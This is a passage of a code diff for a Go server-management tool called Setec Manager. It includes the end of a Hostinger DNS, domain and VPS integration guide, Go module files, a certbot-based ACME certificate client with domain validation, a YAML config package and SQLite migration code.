4. If validation fails, returns the validation error without modifying the zone.
This prevents malformed records from corrupting your DNS zone.
---
## Domain Management
### Purchasing Domains
Before purchasing a domain:
1. Check availability using the availability check endpoint.
2. Note the price and currency in the response.
3. Ensure you have a valid payment method configured in your Hostinger account.
4. Submit the purchase request with the `payment_method_id` from your Hostinger account.
```bash
# Check availability
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/domains/check \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"domains": ["my-new-site.com"]}'
# Purchase (if available)
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/domains/purchase \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"domain": "my-new-site.com",
"period": 1,
"auto_renew": true,
"privacy_protection": true
}'
```
### Domain Transfers
Domain transfers are initiated outside of Setec Manager through the Hostinger hPanel. Once a domain is transferred to your Hostinger account, it will appear in `ListDomains` and can be managed through Setec Manager.
### WHOIS Privacy
Hostinger offers WHOIS privacy protection (also called "Domain Privacy Protection") that replaces your personal contact information in WHOIS records with proxy information. Enable it to keep your registrant details private:
```bash
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/domains/example.com/privacy \
-H "Authorization: Bearer $TOKEN"
```
---
## VPS Management
### Creating a VM
To create a VPS instance, you need three pieces of information:
1. **Plan ID** -- Get from the catalog endpoint (`GET /api/hosting/providers/hostinger/catalog`).
2. **Data Center ID** -- Get from the data centers endpoint (`GET /api/hosting/providers/hostinger/datacenters`).
3. **Template** -- The OS template name (e.g., `"ubuntu-22.04"`, `"debian-12"`, `"centos-9"`).
```bash
# List available plans
curl -s https://your-server:9090/api/hosting/providers/hostinger/catalog \
-H "Authorization: Bearer $TOKEN" | jq '.[] | select(.category == "vps")'
# List data centers
curl -s https://your-server:9090/api/hosting/providers/hostinger/datacenters \
-H "Authorization: Bearer $TOKEN"
# Create the VM
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/vms \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"plan": "kvm-2",
"data_center_id": "us-east-1",
"template": "ubuntu-22.04",
"password": "YourSecurePassword!",
"hostname": "app-server",
"ssh_key_id": "key-abc123"
}'
```
### Docker Support
Hostinger VPS instances support Docker out of the box on Linux templates. After creating a VM:
1. SSH into the new VM.
2. Install Docker using the standard installation method for your chosen OS.
3. Alternatively, select a Docker-optimized template if available in your Hostinger account.
### VM Status Values
| Status | Description |
|---|---|
| `running` | VM is powered on and operational |
| `stopped` | VM is powered off |
| `creating` | VM is being provisioned (may take a few minutes) |
| `error` | VM encountered an error during provisioning |
| `suspended` | VM is suspended (usually billing-related) |
---
## Troubleshooting
### Common Errors
#### "hostinger API error 401: Unauthorized"
**Cause:** The API token is invalid, expired, or revoked.
**Fix:**
1. Log in to hPanel and verify the token exists and is not expired.
2. Generate a new token if needed.
3. Update the configuration in Setec Manager.
#### "hostinger API error 403: Forbidden"
**Cause:** The API token does not have the required permissions/scopes.
**Fix:**
1. Check the token's permissions in hPanel.
2. Ensure the token has read/write access for the feature you are trying to use (DNS, domains, VPS, billing).
3. Generate a new token with the correct scopes if needed.
#### "hostinger API error 429: rate limited"
**Cause:** Too many API requests in a short period.
**Fix:**
- The client retries automatically up to 3 times. If you still see this error, you are making requests too frequently.
- Space out bulk operations.
- Use batch endpoints (e.g., `UpdateDNSRecords` with multiple records) instead of individual calls.
#### "hostinger API error 404: Not Found"
**Cause:** The domain, VM, or resource does not exist in your Hostinger account.
**Fix:**
- Verify the domain is registered with Hostinger (not just DNS-hosted).
- Check that the VM ID is correct.
- Ensure the domain's DNS zone is active in Hostinger.
#### "validate DNS records: hostinger API error 422"
**Cause:** One or more DNS records failed validation.
**Fix:**
- Check record types are valid (A, AAAA, CNAME, MX, TXT, NS, SRV, CAA).
- Verify content format matches the record type (e.g., A records must be valid IPv4 addresses).
- Ensure TTL is a positive integer.
- MX and SRV records require a priority value.
- CNAME records cannot coexist with other record types at the same name.
#### "connection failed" or "execute request" errors
**Cause:** Network connectivity issue between Setec Manager and `developers.hostinger.com`.
**Fix:**
- Verify the server has outbound HTTPS access.
- Check DNS resolution: `dig developers.hostinger.com`.
- Check if a firewall is blocking outbound port 443.
- Verify the server's system clock is accurate (TLS certificate validation requires correct time).
#### "hosting provider 'hostinger' not registered"
**Cause:** The Hostinger provider package was not imported in the binary.
**Fix:**
- Ensure `cmd/main.go` includes the blank import: `_ "setec-manager/internal/hosting/hostinger"`.
- Rebuild and restart Setec Manager.
### Checking Logs
Setec Manager logs hosting provider operations to the configured log file (default: `/var/log/setec-manager.log`). Look for lines containing `hostinger` or `hosting`:
```bash
grep -i hostinger /var/log/setec-manager.log | tail -20
```
### Testing Connectivity Manually
You can test the Hostinger API directly from the server to rule out Setec Manager issues:
```bash
curl -s -H "Authorization: Bearer YOUR_HOSTINGER_TOKEN" \
https://developers.hostinger.com/api/dns/v1/zones/your-domain.com
```
If this succeeds but Setec Manager fails, the issue is in the Setec Manager configuration. If this also fails, the issue is with the token or network connectivity.

View File

@ -0,0 +1,25 @@
module setec-manager
go 1.25.0
require (
github.com/go-chi/chi/v5 v5.2.5
github.com/golang-jwt/jwt/v5 v5.3.1
github.com/google/uuid v1.6.0
golang.org/x/crypto v0.48.0
gopkg.in/yaml.v3 v3.0.1
modernc.org/sqlite v1.46.1
)
require (
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/gorilla/websocket v1.5.3 // indirect
github.com/mattn/go-isatty v0.0.20 // indirect
github.com/ncruces/go-strftime v1.0.0 // indirect
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546 // indirect
golang.org/x/sys v0.41.0 // indirect
modernc.org/libc v1.67.6 // indirect
modernc.org/mathutil v1.7.1 // indirect
modernc.org/memory v1.11.0 // indirect
)

View File

@ -0,0 +1,65 @@
github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
github.com/go-chi/chi/v5 v5.2.5 h1:Eg4myHZBjyvJmAFjFvWgrqDTXFyOzjj7YIm3L3mu6Ug=
github.com/go-chi/chi/v5 v5.2.5/go.mod h1:X7Gx4mteadT3eDOMTsXzmI4/rwUpOwBHLpAfupzFJP0=
github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY=
github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE=
github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e h1:ijClszYn+mADRFY17kjQEVQ1XRhq2/JR1M3sGqeJoxs=
github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/ncruces/go-strftime v1.0.0 h1:HMFp8mLCTPp341M/ZnA4qaf7ZlsbTc+miZjCLOFAw7w=
github.com/ncruces/go-strftime v1.0.0/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
golang.org/x/crypto v0.48.0 h1:/VRzVqiRSggnhY7gNRxPauEQ5Drw9haKdM0jqfcCFts=
golang.org/x/crypto v0.48.0/go.mod h1:r0kV5h3qnFPlQnBSrULhlsRfryS2pmewsg+XfMgkVos=
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546 h1:mgKeJMpvi0yx/sU5GsxQ7p6s2wtOnGAHZWCHUM4KGzY=
golang.org/x/exp v0.0.0-20251023183803-a4bb9ffd2546/go.mod h1:j/pmGrbnkbPtQfxEe5D0VQhZC6qKbfKifgD0oM7sR70=
golang.org/x/mod v0.29.0 h1:HV8lRxZC4l2cr3Zq1LvtOsi/ThTgWnUk/y64QSs8GwA=
golang.org/x/mod v0.29.0/go.mod h1:NyhrlYXJ2H4eJiRy/WDBO6HMqZQ6q9nk4JzS3NuCK+w=
golang.org/x/sync v0.17.0 h1:l60nONMj9l5drqw6jlhIELNv9I0A4OFgRsG9k2oT9Ug=
golang.org/x/sync v0.17.0/go.mod h1:9KTHXmSnoGruLpwFjVSX0lNNA75CykiMECbovNTZqGI=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k=
golang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
golang.org/x/tools v0.38.0 h1:Hx2Xv8hISq8Lm16jvBZ2VQf+RLmbd7wVUsALibYI/IQ=
golang.org/x/tools v0.38.0/go.mod h1:yEsQ/d/YK8cjh0L6rZlY8tgtlKiBNTL14pGDJPJpYQs=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
modernc.org/cc/v4 v4.27.1 h1:9W30zRlYrefrDV2JE2O8VDtJ1yPGownxciz5rrbQZis=
modernc.org/cc/v4 v4.27.1/go.mod h1:uVtb5OGqUKpoLWhqwNQo/8LwvoiEBLvZXIQ/SmO6mL0=
modernc.org/ccgo/v4 v4.30.1 h1:4r4U1J6Fhj98NKfSjnPUN7Ze2c6MnAdL0hWw6+LrJpc=
modernc.org/ccgo/v4 v4.30.1/go.mod h1:bIOeI1JL54Utlxn+LwrFyjCx2n2RDiYEaJVSrgdrRfM=
modernc.org/fileutil v1.3.40 h1:ZGMswMNc9JOCrcrakF1HrvmergNLAmxOPjizirpfqBA=
modernc.org/fileutil v1.3.40/go.mod h1:HxmghZSZVAz/LXcMNwZPA/DRrQZEVP9VX0V4LQGQFOc=
modernc.org/gc/v2 v2.6.5 h1:nyqdV8q46KvTpZlsw66kWqwXRHdjIlJOhG6kxiV/9xI=
modernc.org/gc/v2 v2.6.5/go.mod h1:YgIahr1ypgfe7chRuJi2gD7DBQiKSLMPgBQe9oIiito=
modernc.org/gc/v3 v3.1.1 h1:k8T3gkXWY9sEiytKhcgyiZ2L0DTyCQ/nvX+LoCljoRE=
modernc.org/gc/v3 v3.1.1/go.mod h1:HFK/6AGESC7Ex+EZJhJ2Gni6cTaYpSMmU/cT9RmlfYY=
modernc.org/goabi0 v0.2.0 h1:HvEowk7LxcPd0eq6mVOAEMai46V+i7Jrj13t4AzuNks=
modernc.org/goabi0 v0.2.0/go.mod h1:CEFRnnJhKvWT1c1JTI3Avm+tgOWbkOu5oPA8eH8LnMI=
modernc.org/libc v1.67.6 h1:eVOQvpModVLKOdT+LvBPjdQqfrZq+pC39BygcT+E7OI=
modernc.org/libc v1.67.6/go.mod h1:JAhxUVlolfYDErnwiqaLvUqc8nfb2r6S6slAgZOnaiE=
modernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU=
modernc.org/mathutil v1.7.1/go.mod h1:4p5IwJITfppl0G4sUEDtCr4DthTaT47/N3aT6MhfgJg=
modernc.org/memory v1.11.0 h1:o4QC8aMQzmcwCK3t3Ux/ZHmwFPzE6hf2Y5LbkRs+hbI=
modernc.org/memory v1.11.0/go.mod h1:/JP4VbVC+K5sU2wZi9bHoq2MAkCnrt2r98UGeSK7Mjw=
modernc.org/opt v0.1.4 h1:2kNGMRiUjrp4LcaPuLY2PzUfqM/w9N23quVwhKt5Qm8=
modernc.org/opt v0.1.4/go.mod h1:03fq9lsNfvkYSfxrfUhZCWPk1lm4cq4N+Bh//bEtgns=
modernc.org/sortutil v1.2.1 h1:+xyoGf15mM3NMlPDnFqrteY07klSFxLElE2PVuWIJ7w=
modernc.org/sortutil v1.2.1/go.mod h1:7ZI3a3REbai7gzCLcotuw9AC4VZVpYMjDzETGsSMqJE=
modernc.org/sqlite v1.46.1 h1:eFJ2ShBLIEnUWlLy12raN0Z1plqmFX9Qe3rjQTKt6sU=
modernc.org/sqlite v1.46.1/go.mod h1:CzbrU2lSB1DKUusvwGz7rqEKIq+NUd8GWuBBZDs9/nA=
modernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0=
modernc.org/strutil v1.2.1/go.mod h1:EHkiggD70koQxjVdSBM3JKM7k6L0FbGE5eymy9i3B9A=
modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y=
modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=

View File

@ -0,0 +1,361 @@
package acme
import (
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/x509"
"crypto/x509/pkix"
"encoding/pem"
"fmt"
"math/big"
"os"
"os/exec"
"path/filepath"
"regexp"
"strings"
"time"
)
// Client wraps the certbot CLI for Let's Encrypt ACME certificate management.
type Client struct {
Email string
Staging bool
Webroot string
AccountDir string
}
// CertInfo holds parsed certificate metadata.
type CertInfo struct {
Domain string `json:"domain"`
CertPath string `json:"cert_path"`
KeyPath string `json:"key_path"`
ChainPath string `json:"chain_path"`
ExpiresAt time.Time `json:"expires_at"`
Issuer string `json:"issuer"`
DaysLeft int `json:"days_left"`
}
// domainRegex validates domain names (basic RFC 1123 hostname check).
var domainRegex = regexp.MustCompile(`^([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,}$`)
// NewClient creates a new ACME client.
func NewClient(email string, staging bool, webroot, accountDir string) *Client {
return &Client{
Email: email,
Staging: staging,
Webroot: webroot,
AccountDir: accountDir,
}
}
// validateDomain checks that a domain name is syntactically valid before passing
// it to certbot. This prevents command injection and catches obvious typos.
func validateDomain(domain string) error {
if domain == "" {
return fmt.Errorf("domain name is empty")
}
if len(domain) > 253 {
return fmt.Errorf("domain name too long: %d characters (max 253)", len(domain))
}
if !domainRegex.MatchString(domain) {
return fmt.Errorf("invalid domain name: %q", domain)
}
return nil
}
// Issue requests a new certificate from Let's Encrypt for the given domain
// using the webroot challenge method.
func (c *Client) Issue(domain string) (*CertInfo, error) {
if err := validateDomain(domain); err != nil {
return nil, fmt.Errorf("issue: %w", err)
}
if err := c.EnsureCertbotInstalled(); err != nil {
return nil, fmt.Errorf("issue: %w", err)
}
// Ensure webroot directory exists
if err := os.MkdirAll(c.Webroot, 0755); err != nil {
return nil, fmt.Errorf("issue: create webroot: %w", err)
}
args := []string{
"certonly", "--webroot",
"-w", c.Webroot,
"-d", domain,
"--non-interactive",
"--agree-tos",
"-m", c.Email,
}
if c.Staging {
args = append(args, "--staging")
}
cmd := exec.Command("certbot", args...)
out, err := cmd.CombinedOutput()
if err != nil {
return nil, fmt.Errorf("certbot certonly failed: %s: %w", strings.TrimSpace(string(out)), err)
}
return c.GetCertInfo(domain)
}
// Renew renews the certificate for a specific domain.
func (c *Client) Renew(domain string) error {
if err := validateDomain(domain); err != nil {
return fmt.Errorf("renew: %w", err)
}
if err := c.EnsureCertbotInstalled(); err != nil {
return fmt.Errorf("renew: %w", err)
}
cmd := exec.Command("certbot", "renew",
"--cert-name", domain,
"--non-interactive",
)
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("certbot renew failed: %s: %w", strings.TrimSpace(string(out)), err)
}
return nil
}
// RenewAll renews all certificates managed by certbot that are due for renewal.
func (c *Client) RenewAll() (string, error) {
if err := c.EnsureCertbotInstalled(); err != nil {
return "", fmt.Errorf("renew all: %w", err)
}
cmd := exec.Command("certbot", "renew", "--non-interactive")
out, err := cmd.CombinedOutput()
output := string(out)
if err != nil {
return output, fmt.Errorf("certbot renew --all failed: %s: %w", strings.TrimSpace(output), err)
}
return output, nil
}
// Revoke revokes the certificate for a given domain.
func (c *Client) Revoke(domain string) error {
if err := validateDomain(domain); err != nil {
return fmt.Errorf("revoke: %w", err)
}
if err := c.EnsureCertbotInstalled(); err != nil {
return fmt.Errorf("revoke: %w", err)
}
cmd := exec.Command("certbot", "revoke",
"--cert-name", domain,
"--non-interactive",
)
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("certbot revoke failed: %s: %w", strings.TrimSpace(string(out)), err)
}
return nil
}
// Delete removes a certificate and its renewal configuration from certbot.
func (c *Client) Delete(domain string) error {
if err := validateDomain(domain); err != nil {
return fmt.Errorf("delete: %w", err)
}
if err := c.EnsureCertbotInstalled(); err != nil {
return fmt.Errorf("delete: %w", err)
}
cmd := exec.Command("certbot", "delete",
"--cert-name", domain,
"--non-interactive",
)
out, err := cmd.CombinedOutput()
if err != nil {
return fmt.Errorf("certbot delete failed: %s: %w", strings.TrimSpace(string(out)), err)
}
return nil
}
// ListCerts scans /etc/letsencrypt/live/ and parses each certificate to return
// metadata including expiry dates and issuer information.
func (c *Client) ListCerts() ([]CertInfo, error) {
liveDir := "/etc/letsencrypt/live"
entries, err := os.ReadDir(liveDir)
if err != nil {
if os.IsNotExist(err) {
return nil, nil // No certs directory yet
}
return nil, fmt.Errorf("list certs: read live dir: %w", err)
}
var certs []CertInfo
for _, entry := range entries {
if !entry.IsDir() {
continue
}
domain := entry.Name()
// Skip the README directory certbot sometimes creates
if domain == "README" {
continue
}
info, err := c.GetCertInfo(domain)
if err != nil {
// Log but skip certs we can't parse
continue
}
certs = append(certs, *info)
}
return certs, nil
}
// GetCertInfo reads and parses the X.509 certificate at the standard Let's
// Encrypt live path for a domain, returning structured metadata.
func (c *Client) GetCertInfo(domain string) (*CertInfo, error) {
if err := validateDomain(domain); err != nil {
return nil, fmt.Errorf("get cert info: %w", err)
}
liveDir := filepath.Join("/etc/letsencrypt/live", domain)
certPath := filepath.Join(liveDir, "fullchain.pem")
keyPath := filepath.Join(liveDir, "privkey.pem")
chainPath := filepath.Join(liveDir, "chain.pem")
data, err := os.ReadFile(certPath)
if err != nil {
return nil, fmt.Errorf("get cert info: read cert: %w", err)
}
block, _ := pem.Decode(data)
if block == nil {
return nil, fmt.Errorf("get cert info: no PEM block found in %s", certPath)
}
cert, err := x509.ParseCertificate(block.Bytes)
if err != nil {
return nil, fmt.Errorf("get cert info: parse x509: %w", err)
}
daysLeft := int(time.Until(cert.NotAfter).Hours() / 24)
return &CertInfo{
Domain: domain,
CertPath: certPath,
KeyPath: keyPath,
ChainPath: chainPath,
ExpiresAt: cert.NotAfter,
Issuer: cert.Issuer.CommonName,
DaysLeft: daysLeft,
}, nil
}
// EnsureCertbotInstalled checks whether certbot is available in PATH. If not,
// it attempts to install it via apt-get.
func (c *Client) EnsureCertbotInstalled() error {
if _, err := exec.LookPath("certbot"); err == nil {
return nil // Already installed
}
// Attempt to install via apt-get
cmd := exec.Command("apt-get", "update", "-qq")
if out, err := cmd.CombinedOutput(); err != nil {
return fmt.Errorf("apt-get update failed: %s: %w", strings.TrimSpace(string(out)), err)
}
cmd = exec.Command("apt-get", "install", "-y", "-qq", "certbot")
if out, err := cmd.CombinedOutput(); err != nil {
return fmt.Errorf("apt-get install certbot failed: %s: %w", strings.TrimSpace(string(out)), err)
}
// Verify installation succeeded
if _, err := exec.LookPath("certbot"); err != nil {
return fmt.Errorf("certbot still not found after installation attempt")
}
return nil
}
// GenerateSelfSigned creates a self-signed X.509 certificate and private key
// for testing or as a fallback when Let's Encrypt is unavailable.
func (c *Client) GenerateSelfSigned(domain, certPath, keyPath string) error {
if err := validateDomain(domain); err != nil {
return fmt.Errorf("generate self-signed: %w", err)
}
// Ensure output directories exist
if err := os.MkdirAll(filepath.Dir(certPath), 0755); err != nil {
return fmt.Errorf("generate self-signed: create cert dir: %w", err)
}
if err := os.MkdirAll(filepath.Dir(keyPath), 0755); err != nil {
return fmt.Errorf("generate self-signed: create key dir: %w", err)
}
// Generate ECDSA P-256 private key
privKey, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
if err != nil {
return fmt.Errorf("generate self-signed: generate key: %w", err)
}
// Build the certificate template
serialNumber, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
if err != nil {
return fmt.Errorf("generate self-signed: serial number: %w", err)
}
notBefore := time.Now()
notAfter := notBefore.Add(365 * 24 * time.Hour) // 1 year
template := x509.Certificate{
SerialNumber: serialNumber,
Subject: pkix.Name{
CommonName: domain,
Organization: []string{"Setec Security Labs"},
},
DNSNames: []string{domain},
NotBefore: notBefore,
NotAfter: notAfter,
KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment,
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
BasicConstraintsValid: true,
}
// Self-sign the certificate
certDER, err := x509.CreateCertificate(rand.Reader, &template, &template, &privKey.PublicKey, privKey)
if err != nil {
return fmt.Errorf("generate self-signed: create cert: %w", err)
}
// Write certificate PEM
certFile, err := os.OpenFile(certPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0644)
if err != nil {
return fmt.Errorf("generate self-signed: write cert: %w", err)
}
defer certFile.Close()
if err := pem.Encode(certFile, &pem.Block{Type: "CERTIFICATE", Bytes: certDER}); err != nil {
return fmt.Errorf("generate self-signed: encode cert PEM: %w", err)
}
// Write private key PEM
keyDER, err := x509.MarshalECPrivateKey(privKey)
if err != nil {
return fmt.Errorf("generate self-signed: marshal key: %w", err)
}
keyFile, err := os.OpenFile(keyPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)
if err != nil {
return fmt.Errorf("generate self-signed: write key: %w", err)
}
defer keyFile.Close()
if err := pem.Encode(keyFile, &pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER}); err != nil {
return fmt.Errorf("generate self-signed: encode key PEM: %w", err)
}
return nil
}

View File

@ -0,0 +1,146 @@
package config
import (
"os"
"gopkg.in/yaml.v3"
)
type Config struct {
Server ServerConfig `yaml:"server"`
Database DatabaseConfig `yaml:"database"`
Nginx NginxConfig `yaml:"nginx"`
ACME ACMEConfig `yaml:"acme"`
Autarch AutarchConfig `yaml:"autarch"`
Float FloatConfig `yaml:"float"`
Backups BackupsConfig `yaml:"backups"`
Logging LoggingConfig `yaml:"logging"`
}
type ServerConfig struct {
Host string `yaml:"host"`
Port int `yaml:"port"`
TLS bool `yaml:"tls"`
Cert string `yaml:"cert"`
Key string `yaml:"key"`
}
type DatabaseConfig struct {
Path string `yaml:"path"`
}
type NginxConfig struct {
SitesAvailable string `yaml:"sites_available"`
SitesEnabled string `yaml:"sites_enabled"`
Snippets string `yaml:"snippets"`
Webroot string `yaml:"webroot"`
CertbotWebroot string `yaml:"certbot_webroot"`
}
type ACMEConfig struct {
Email string `yaml:"email"`
Staging bool `yaml:"staging"`
AccountDir string `yaml:"account_dir"`
}
type AutarchConfig struct {
InstallDir string `yaml:"install_dir"`
GitRepo string `yaml:"git_repo"`
GitBranch string `yaml:"git_branch"`
WebPort int `yaml:"web_port"`
DNSPort int `yaml:"dns_port"`
}
type FloatConfig struct {
Enabled bool `yaml:"enabled"`
MaxSessions int `yaml:"max_sessions"`
SessionTTL string `yaml:"session_ttl"`
}
type BackupsConfig struct {
Dir string `yaml:"dir"`
MaxAgeDays int `yaml:"max_age_days"`
MaxCount int `yaml:"max_count"`
}
type LoggingConfig struct {
Level string `yaml:"level"`
File string `yaml:"file"`
MaxSizeMB int `yaml:"max_size_mb"`
MaxBackups int `yaml:"max_backups"`
}
func DefaultConfig() *Config {
return &Config{
Server: ServerConfig{
Host: "0.0.0.0",
Port: 9090,
TLS: true,
Cert: "/opt/setec-manager/data/acme/manager.crt",
Key: "/opt/setec-manager/data/acme/manager.key",
},
Database: DatabaseConfig{
Path: "/opt/setec-manager/data/setec.db",
},
Nginx: NginxConfig{
SitesAvailable: "/etc/nginx/sites-available",
SitesEnabled: "/etc/nginx/sites-enabled",
Snippets: "/etc/nginx/snippets",
Webroot: "/var/www",
CertbotWebroot: "/var/www/certbot",
},
ACME: ACMEConfig{
Email: "",
Staging: false,
AccountDir: "/opt/setec-manager/data/acme",
},
Autarch: AutarchConfig{
InstallDir: "/var/www/autarch",
GitRepo: "https://github.com/DigijEth/autarch.git",
GitBranch: "main",
WebPort: 8181,
DNSPort: 53,
},
Float: FloatConfig{
Enabled: false,
MaxSessions: 10,
SessionTTL: "24h",
},
Backups: BackupsConfig{
Dir: "/opt/setec-manager/data/backups",
MaxAgeDays: 30,
MaxCount: 50,
},
Logging: LoggingConfig{
Level: "info",
File: "/var/log/setec-manager.log",
MaxSizeMB: 100,
MaxBackups: 3,
},
}
}
func Load(path string) (*Config, error) {
cfg := DefaultConfig()
data, err := os.ReadFile(path)
if err != nil {
if os.IsNotExist(err) {
return cfg, nil
}
return nil, err
}
if err := yaml.Unmarshal(data, cfg); err != nil {
return nil, err
}
return cfg, nil
}
func (c *Config) Save(path string) error {
data, err := yaml.Marshal(c)
if err != nil {
return err
}
return os.WriteFile(path, data, 0600)
}

View File

@ -0,0 +1,46 @@
package db
import "time"
type Backup struct {
ID int64 `json:"id"`
SiteID *int64 `json:"site_id"`
BackupType string `json:"backup_type"`
FilePath string `json:"file_path"`
SizeBytes int64 `json:"size_bytes"`
CreatedAt time.Time `json:"created_at"`
}
func (d *DB) CreateBackup(siteID *int64, backupType, filePath string, sizeBytes int64) (int64, error) {
result, err := d.conn.Exec(`INSERT INTO backups (site_id, backup_type, file_path, size_bytes)
VALUES (?, ?, ?, ?)`, siteID, backupType, filePath, sizeBytes)
if err != nil {
return 0, err
}
return result.LastInsertId()
}
func (d *DB) ListBackups() ([]Backup, error) {
rows, err := d.conn.Query(`SELECT id, site_id, backup_type, file_path, size_bytes, created_at
FROM backups ORDER BY id DESC`)
if err != nil {
return nil, err
}
defer rows.Close()
var backups []Backup
for rows.Next() {
var b Backup
if err := rows.Scan(&b.ID, &b.SiteID, &b.BackupType, &b.FilePath,
&b.SizeBytes, &b.CreatedAt); err != nil {
return nil, err
}
backups = append(backups, b)
}
return backups, rows.Err()
}
func (d *DB) DeleteBackup(id int64) error {
_, err := d.conn.Exec(`DELETE FROM backups WHERE id=?`, id)
return err
}

View File

@ -0,0 +1,163 @@
package db
import (
"database/sql"
"fmt"
"os"
"path/filepath"
_ "modernc.org/sqlite"
)
type DB struct {
conn *sql.DB
}
func Open(path string) (*DB, error) {
// Ensure directory exists
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
return nil, fmt.Errorf("create db dir: %w", err)
}
conn, err := sql.Open("sqlite", path+"?_journal_mode=WAL&_busy_timeout=5000")
if err != nil {
return nil, fmt.Errorf("open database: %w", err)
}
conn.SetMaxOpenConns(1) // SQLite single-writer
db := &DB{conn: conn}
if err := db.migrate(); err != nil {
conn.Close()
return nil, fmt.Errorf("migrate: %w", err)
}
return db, nil
}
func (d *DB) Close() error {
return d.conn.Close()
}
func (d *DB) Conn() *sql.DB {
return d.conn
}
func (d *DB) migrate() error {
migrations := []string{
migrateSites,
migrateSystemUsers,
migrateManagerUsers,
migrateDeployments,
migrateCronJobs,
migrateFirewallRules,
migrateFloatSessions,
migrateBackups,
migrateAuditLog,
}
for _, m := range migrations {
if _, err := d.conn.Exec(m); err != nil {
return err
}
}
return nil
}
const migrateSites = `CREATE TABLE IF NOT EXISTS sites (
id INTEGER PRIMARY KEY AUTOINCREMENT,
domain TEXT NOT NULL UNIQUE,
aliases TEXT DEFAULT '',
app_type TEXT NOT NULL DEFAULT 'static',
app_root TEXT NOT NULL,
app_port INTEGER DEFAULT 0,
app_entry TEXT DEFAULT '',
git_repo TEXT DEFAULT '',
git_branch TEXT DEFAULT 'main',
ssl_enabled BOOLEAN DEFAULT FALSE,
